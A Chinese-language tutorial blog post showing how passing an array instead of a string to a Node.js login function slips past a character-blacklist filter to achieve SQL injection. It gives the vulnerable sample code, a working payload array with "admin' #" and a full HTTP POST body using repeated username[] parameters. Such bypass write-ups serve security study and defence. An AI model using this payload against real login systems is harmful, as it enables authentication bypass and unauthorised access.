js利用String和Array繞過一些限制
阿新 • • 發佈:2021-08-19
JavaScript的 String(字串) 和 Array(陣列)具有一些同名的屬性和方法,例如 length、slice()、toString(),而且都可以用 for 迴圈遍歷。
var arr = ['a','b','c'] var str = 'abc' // length arr.length // 3 str.length // 3 // slice() arr.slice(0,2) // a,b 與字串有些不同,拼接陣列元素時會在元素之間插入逗號"," ,相當於 arr.join(',') str.slice(0,2) // ab // toString() arr.toString() // a,b,c 相當於 arr.join(',') str.toString() // abc for(var i = 0; i < arr.length; i++){ console.log(arr[i]) } // abc for(var i = 0; i < str.length; i++){ console.log(str[i]) } // abc
toString()是在需要將物件當成字串輸出時執行的方法。
例如:
var arr = ['a','p','p','l','e']
console.log(arr + '') // a,p,p,l,e
利用上述所說的特性繞過下面的過濾函式,並最終形成 SQL 注入:
let safeQuery = (username,password)=>{ const waf = (str)=>{ blacklist = ['\\','\^',')','(','\"','\''] blacklist.forEach(element => { if (str == element){ str = "*"; } }); return str; } const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ if (waf(str[i]) =="*"){ str = str.slice(0, i) + "*" + str.slice(i + 1, str.length); } } return str; } username = safeStr(username); password = safeStr(password); let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20)); return sql; }
(1)這裡預期的資料型別是 String,如果傳入一個字串,那麼被黑名單檢測的是字串的單個字元,這會在黑名單字元包括單引號的前面新增轉義字元 \,導致SQL注入失敗。
(2)這裡用於檢測的程式碼用到的方法和屬性都是 String 和 Array,所以如果傳入一個非預期的資料型別 Array,並不會導致程式錯誤,並且被黑名單檢測的是陣列的元素,而陣列的元素既可以是單個字元,也可以是字串,如果是字串,例如 "admin' #",判斷的條件是 "admin' #" == element,返回 false,也就是無法檢測出裡面的單引號。所以我們在 username 中傳入一個數組,陣列的第一個元素是 "admin' #"。
(3)陣列最終還是要轉換成字串,否則會因為 username.substr(0,20) 不存在 substr() 而導致程式錯誤。轉換成字串的地方在於 slice(),通過執行 username.slice() 就能轉換成字串。
最終username為:
["admin' #", '1', '2', '3', '4', '5', '6', '7', '8', '*']
- * 的位置要在下標 5 之後,因為單引號處於 "admin' #" 的第 6 位,而username.slice()之後 for 會繼續遍歷 "admin' #,1,2,3,4,5,6,7,8,*" 這個字串,但此時 i>5,所以就不會檢測單引號 '。
在HTTP請求體中:
POST /login HTTP/1.1
......
Content-Type: application/x-www-form-urlencoded
......
username[]=admin'+#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=*&password=123456
這需要node.js支援多種資料型別,例如 express:
express.use(express.urlencoded({extended: true}))